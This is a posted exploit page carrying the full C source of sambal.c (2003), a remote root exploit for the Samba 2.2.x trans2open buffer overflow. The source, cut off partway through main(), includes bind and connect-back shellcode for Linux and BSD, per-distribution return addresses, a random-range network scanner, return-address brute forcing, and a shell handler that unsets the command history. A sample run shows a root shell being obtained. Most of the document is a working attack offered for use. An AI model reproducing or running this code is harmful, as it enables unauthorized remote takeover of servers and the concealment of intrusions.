what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sambal.c

sambal.c
Posted Apr 10, 2003
Authored by eSDee | Site netric.org

Remote root exploit for Samba 2.2.x and prior that works against Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and OpenBSD (2.x, 3.x and 3.2 non-executable stack). It has a scanning abilities so a range of machines can be penetration tested at once on a network.

tags | exploit, remote, root
systems | linux, netbsd, freebsd, openbsd
SHA-256 | d6672353da22242d8fc89098e6e31eb2c358a76ff09164f2b7f0f5060a5f0c03

sambal.c

Change Mirror Download
/*           _ ________            _____                        ______
__ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
_/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
- -------\______||--._____\---._______//-|__ //-.___|----._____||
/ \ /
\/
[*] samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
------------------------------------------------------------------------------

sambal.c is a remote root exploit for samba 2.2.x and prior that works against
Linux (all distros), FreeBSD (4.x, 5.x), NetBSD (1.x) and OpenBSD (2.x, 3.x
and 3.2-non exec stack). It has a scan option, so you can easily identify your
lost samba boxes on your home WAN...

It began with the creation of the great buffer.
Four bytes were written to it to mark the beginning of it.
Seven bytes were written to store all information.
And nine, nine bytes were written to the end to assure a long enough buffer.
For within this buffer, it could harbor all required user input.
But they were all deceived, for another byte was written.
Inside the Memory, in the heart of the stack. The user input was long enough
to write a master byte. To control the entire buffer, and into this byte, the user
poured his cruelty, his malice and his will to dominate it all!

One byte to rule them all....

Copyright (c) 2003 Netric Security
All rights reserved.

THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.


[*] The bug

in /source/smbd/trans2.c on line 250 - function: call_trans2open() :

namelen = strlen(pname)+1;
StrnCpy(fname,pname,namelen);



[*] MyFirstStachelNET(tm) - howto -

sambal.c is able to identify samba boxes. It will send a netbios
name packet to port 137. If the box responds with the mac address
00-00-00-00-00-00, it's probally running samba.

[esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Scan mode.
+ [192.168.0.3] Samba
+ [192.168.0.10] Windows
+ [192.168.0.20] Windows
+ [192.168.0.21] Samba
+ [192.168.0.30] Windows
+ [192.168.0.31] Samba
+ [192.168.0.33] Windows
+ [192.168.0.35] Windows
+ [192.168.0.36] Windows
+ [192.168.0.37] Windows
...
+ [192.168.0.133] Samba

Great!
You could now try a preset (-t0 for a list), but most of the
time bruteforce will do. The smbd spawns a new process on every
connect, so we can bruteforce the return address...

[esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Using ret: [0xbffffa24]
+ Using ret: [0xbffff8f8]
+ Using ret: [0xbffff7cc]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586 i586 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)


[*] Credits

lynx, mike, powerpork, sacrine, the_itch, tozz
no1 (i ripped some parts from a subnet scanner)


*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

typedef struct {
unsigned char type;
unsigned char flags;
unsigned short length;
} NETBIOS_HEADER;

typedef struct {
unsigned char protocol[4];
unsigned char command;
unsigned short status;
unsigned char reserved;
unsigned char flags;
unsigned short flags2;
unsigned char pad[12];
unsigned short tid;
unsigned short pid;
unsigned short uid;
unsigned short mid;
} SMB_HEADER;

int OWNED = 0;
pid_t childs[100];
struct sockaddr_in addr1;
struct sockaddr_in addr2;

char
linux_bindcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

char
bsd_bindcode[] =
"\x31\xc0\x50\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";

char
linux_connect_back[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

char
bsd_connect_back[] =
"\x31\xc0\x50\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
"\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
"\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";



struct {
char *type;
unsigned long ret;
char *shellcode;
int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec stack */

} targets[] = {
{ "samba-2.2.x - Debian 3.0 ", 0xbffffea2, linux_bindcode, 0 },
{ "samba-2.2.x - Gentoo 1.4.x ", 0xbfffe890, linux_bindcode, 0 },
{ "samba-2.2.x - Mandrake 8.x ", 0xbffff6a0, linux_bindcode, 0 },
{ "samba-2.2.x - Mandrake 9.0 ", 0xbfffe638, linux_bindcode, 0 },
{ "samba-2.2.x - Redhat 9.0 ", 0xbffff7cc, linux_bindcode, 0 },
{ "samba-2.2.x - Redhat 8.0 ", 0xbffff2f0, linux_bindcode, 0 },
{ "samba-2.2.x - Redhat 7.x ", 0xbffff310, linux_bindcode, 0 },
{ "samba-2.2.x - Redhat 6.x ", 0xbffff2f0, linux_bindcode, 0 },
{ "samba-2.2.x - Slackware 9.0 ", 0xbffff574, linux_bindcode, 0 },
{ "samba-2.2.x - Slackware 8.x ", 0xbffff574, linux_bindcode, 0 },
{ "samba-2.2.x - SuSE 7.x ", 0xbffffbe6, linux_bindcode, 0 },
{ "samba-2.2.x - SuSE 8.x ", 0xbffff8f8, linux_bindcode, 0 },
{ "samba-2.2.x - FreeBSD 5.0 ", 0xbfbff374, bsd_bindcode, 1 },
{ "samba-2.2.x - FreeBSD 4.x ", 0xbfbff374, bsd_bindcode, 1 },
{ "samba-2.2.x - NetBSD 1.6 ", 0xbfbfd5d0, bsd_bindcode, 1 },
{ "samba-2.2.x - NetBSD 1.5 ", 0xbfbfd520, bsd_bindcode, 1 },
{ "samba-2.2.x - OpenBSD 3.2 ", 0x00159198, bsd_bindcode, 2 },
{ "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode, 2 },
{ "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode, 2 },
{ "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode, 2 },
{ "Crash (All platforms) ", 0xbade5dee, linux_bindcode, 0 },
};

void shell();
void usage();
void handler();

int is_samba(char *ip, unsigned long time_out);
int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);
int read_timer(int fd, unsigned int time_out);
int write_timer(int fd, unsigned int time_out);
int start_session(int sock);
int exploit_normal(int sock, unsigned long ret, char *shellcode);
int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);

void
usage(char *prog)
{
fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]\n\n"
"-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n"
"-B <step> bruteforce steps (default = 300)\n"
"-c <ip address> connectback ip address\n"
"-C <max childs> max childs for scan/bruteforce mode (default = 40)\n"
"-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)\n"
"-f force\n"
"-p <port> port to attack (default = 139)\n"
"-r <ret> return address\n"
"-s scan mode (random)\n"
"-S <network> scan mode\n"
"-t <type> presets (0 for a list)\n"
"-v verbose mode\n\n", prog);

exit(1);
}

int
is_samba(char *ip, unsigned long time_out)
{
char
nbtname[]= /* netbios name packet */
{
0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,
0x00,0x01
};

unsigned char recv_buf[1024];
unsigned char *ptr;

int i = 0;
int s = 0;

unsigned int total = 0;

if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;

if(Connect(s, ip, 137, time_out) == -1) {
close(s);
return -1;
}

memset(recv_buf, 0x00, sizeof(recv_buf));

if(write_timer(s, time_out) == 1) {
if (write(s, nbtname, sizeof(nbtname)) <= 0) {
close(s);
return -1;
}
}

if (read_timer(s, time_out) == 1) {
if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {
close(s);
return -1;
}

ptr = recv_buf + 57;
total = *(ptr - 1); /* max names */

while(ptr < recv_buf + sizeof(recv_buf)) {
ptr += 18;
if (i == total) {

ptr -= 19;

if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 && *(ptr + 3) == 0x00 &&
*(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 && *(ptr + 6) == 0x00) {
close(s);
return 0;
}

close(s);
return 1;
}

i++;
}

}
close(s);
return -1;
}

int
Connect(int fd, char *ip, unsigned int port, unsigned int time_out)
{
/* ripped from no1 */

int flags;
int select_status;
fd_set connect_read, connect_write;
struct timeval timeout;
int getsockopt_length = 0;
int getsockopt_error = 0;
struct sockaddr_in server;
bzero(&server, sizeof(server));
server.sin_family = AF_INET;
inet_pton(AF_INET, ip, &server.sin_addr);
server.sin_port = htons(port);

if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return -1;
}

if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return -1;
}

timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&connect_read);
FD_ZERO(&connect_write);
FD_SET(fd, &connect_read);
FD_SET(fd, &connect_write);

if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
if(errno != EINPROGRESS) {
close(fd);
return -1;
}
}
else {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}

return 1;

}

select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);

if(select_status == 0) {
close(fd);
return -1;

}

if(select_status == -1) {
close(fd);
return -1;
}

if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {
getsockopt_length = sizeof(getsockopt_error);

if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {
errno = ETIMEDOUT;
close(fd);
return -1;
}

if(getsockopt_error == 0) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}

else {
errno = getsockopt_error;
close(fd);
return (-1);
}

}
}
else {
close(fd);
return 1;
}

if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}

int
read_timer(int fd, unsigned int time_out)
{

/* ripped from no1 */

int flags;
int select_status;
fd_set fdread;
struct timeval timeout;

if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}

if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}

timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);

if(select_status == 0) {
close(fd);
return (-1);
}

if(select_status == -1) {
close(fd);
return (-1);
}

if(FD_ISSET(fd, &fdread)) {

if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}

return 1;

}
else {
close(fd);
return 1;

}
}

int
write_timer(int fd, unsigned int time_out)
{

/* ripped from no1 */

int flags;
int select_status;
fd_set fdwrite;
struct timeval timeout;

if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}

if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}

timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdwrite);
FD_SET(fd, &fdwrite);

select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);

if(select_status == 0) {
close(fd);
return -1;
}

if(select_status == -1) {
close(fd);
return -1;
}

if(FD_ISSET(fd, &fdwrite)) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
close(fd);
return -1;
}
}


void
shell(int sock)
{
fd_set fd_read;
char buff[1024], *cmd="unset HISTFILE; echo \"*** JE MOET JE MUIL HOUWE\";uname -a;id;\n";
int n;

FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);

send(sock, cmd, strlen(cmd), 0);

while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);

if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;

if (FD_ISSET(sock, &fd_read)) {

if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}

if (write(1, buff, n) < 0) break;
}

if (FD_ISSET(0, &fd_read)) {

if((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}

if (send(sock, buff, n, 0) < 0) break;
}

usleep(10);
}

fprintf(stderr, "Connection lost.\n\n");
exit(0);
}

void
handler()
{
int sock = 0;
int i = 0;
OWNED = 1;

for (i = 0; i < 100; i++)
if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);

if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
close(sock);
exit(1);
}

if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
fprintf(stdout, "+ Worked!\n"
"--------------------------------------------------------------\n");
shell(sock);
close(sock);
}


}

int
start_session(int sock)
{
char buffer[1000];
char response[4096];
char session_data1[] = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
char session_data2[] = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
"\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";

NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;

memset(buffer, 0x00, sizeof(buffer));

netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x2E);

smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x73; /* session setup */
smbheader->flags = 0x08; /* caseless pathnames */
smbheader->flags2 = 0x01; /* long filenames supported */
smbheader->pid = getpid() & 0xFFFF;
smbheader->uid = 100;
smbheader->mid = 0x01;

memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);

if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 50, 0) < 0) return -1;

memset(response, 0x00, sizeof(response));

if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;

netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");

netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

memset(buffer, 0x00, sizeof(buffer));

netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x3C);

smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x70; /* start connection */
smbheader->pid = getpid() & 0xFFFF;
smbheader->tid = 0x00;
smbheader->uid = 100;

memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);

if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 64, 0) < 0) return -1;

memset(response, 0x00, sizeof(response));

if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;

netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

if (netbiosheader->type != 0x00) return -1;

return 0;
}

int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{

char buffer[4000];
char exploit_data[] =
"\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x90";

int i = 0;
unsigned long dummy = ret - 0x90;

NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;

memset(buffer, 0x00, sizeof(buffer));

netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);

smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;

memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);

buffer[1096] = 0xEB;
buffer[1097] = 0x70;

for (i = 0; i < 4 * 24; i += 8) {
memcpy(buffer + 1099 + i, &dummy, 4);
memcpy(buffer + 1103 + i, &ret, 4);
}

memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);
memcpy(buffer + 1800, shellcode, strlen(shellcode));

if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}

return -1;
}

int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
char buffer[4000];

char exploit_data[] =
"\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x90";

int i = 0;
unsigned long dummy = ret - 0x30;
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;

memset(buffer, 0x00, sizeof(buffer));

netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);

smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;

memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);

for (i = 0; i < 4 * 24; i += 4)
memcpy(buffer + 1131 + i, &dummy, 4);

memcpy(buffer + 1127, &ret, 4);

memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);

memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));

if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}

return -1;
}


int
main (int argc,char *argv[])
{
char *shellcode = NULL;
char scan_ip[256];

int brute = -1;
int connectback = 0;
int force = 0;
int i = 0;
int ip1 = 0;
int ip2 = 0;
int ip3 = 0;
int ip4 = 0;
int opt = 0;
int port = 139;
int random = 0;
int scan = 0;
int sock = 0;
int sock2 = 0;
int status = 0;
int type = 0;
int verbose = 0;

unsigned long BRUTE_DELAY = 100000;
unsigned long ret = 0x0;
unsigned long MAX_CHILDS = 40;
unsigned long STEPS = 300;

struct hostent *he;

fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\n"
"--------------------------------------------------------------\n");

while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {
switch(opt)
{
case 'b':
brute = atoi(optarg);
if ((brute < 0) || (brute > 3)) {
fprintf(stderr, "Invalid platform.\n\n");
return -1;
}
break;
case 'B':
STEPS = atoi(optarg);
if (STEPS == 0) STEPS++;
break;
case 'c':
sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
connectback = 1;

if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {
fprintf(stderr, "Invalid IP address.\n\n");
return -1;
}

linux_connect_back[33] = ip1; bsd_connect_back[24] = ip1;
linux_connect_back[34] = ip2; bsd_connect_back[25] = ip2;
linux_connect_back[35] = ip3; bsd_connect_back[26] = ip3;
linux_connect_back[36] = ip4; bsd_connect_back[27] = ip4;

break;
case 'C':
MAX_CHILDS = atoi(optarg);
if (MAX_CHILDS == 0) {
fprintf(stderr, "Invalid number of childs.\n");
return -1;
}

if (MAX_CHILDS > 99) {
fprintf(stderr, "Too many childs, using 99. \n");
MAX_CHILDS = 99;
}

break;
case 'd':
BRUTE_DELAY = atoi(optarg);
break;
case 'f':
force = 1;
break;
case 'p':
port = atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr, "Invalid port.\n\n");
return -1;
}
break;
case 'r':
ret = strtoul(optarg, &optarg, 16);
break;
case 's':
random = 1;
scan = 1;
break;
case 'S':
random = 0;
scan = 1;
sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);
ip3--;
break;
case 't':
type = atoi(optarg);
if (type == 0 || type > sizeof(targets) / 16) {
for(i = 0; i < sizeof(targets) / 16; i++)
fprintf(stdout, "%02d. %s [0x%08x]\n", i + 1,

targets[i].type, (unsigned int) targets[i].ret);
fprintf(stderr, "\n");
return -1;
}
break;
case 'v':
verbose = 1;
break;
default:
usage(argv[0] == NULL ? "sambal" : argv[0]);
break;
}

}

if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 && scan == 0))
usage(argv[0] == NULL ? "sambal" : argv[0]);

if (scan == 1)
fprintf(stdout, "+ Scan mode.\n");
if (verbose == 1)
fprintf(stdout, "+ Verbose mode.\n");

if (scan == 1) {

srand(getpid());

while (1) {

if (random == 1) {
ip1 = rand() % 255;
ip2 = rand() % 255;
ip3 = rand() % 255; }
else {
ip3++;
if (ip3 > 254) { ip3 = 1; ip2++; }
if (ip2 > 254) { ip2 = 1; ip1++; }
if (ip1 > 254) exit(0);
}

for (ip4 = 0; ip4 < 255; ip4++) {
i++;
snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%u.%u", ip1, ip2, ip3, ip4);
usleep(BRUTE_DELAY);

switch (fork()) {
case 0:
switch(is_samba(scan_ip, 2)) {
case 0:
fprintf(stdout, "+ [%s] Samba\n", scan_ip);
break;
case 1:
fprintf(stdout, "+ [%s] Windows\n", scan_ip);
break;
default:
break;
}

exit(0);
break;
case -1:
fprintf(stderr, "+ fork() error\n");
exit(-1);
break;
default:
if (i > MAX_CHILDS - 2) {
wait(&status);
i--;
}
break;
}
}

}

return 0;
}


he = gethostbyname(argv[optind]);

if (he == NULL) {
fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);
return -1;
}

if (brute == -1) {

if (ret == 0) ret = targets[type - 1].ret;

shellcode = targets[type - 1].shellcode;

if (connectback == 1) {
fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:45295]\n",
ip1, ip2, ip3, ip4);

switch(targets[type - 1].os_type) {
case 0: /* linux */
shellcode = linux_connect_back;
break;
case 1: /* FreeBSD/NetBSD */
shellcode = bsd_connect_back;
break;
case 2: /* OpenBSD */
shellcode = bsd_connect_back;
break;
case 3: /* OpenBSD 3.2 Non-exec stack */
shellcode = bsd_connect_back;
break;
}

}

if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
fprintf(stderr, "+ socket() error.\n");
return -1;
}

if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
fprintf(stderr, "+ socket() error.\n");
return -1;
}

memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
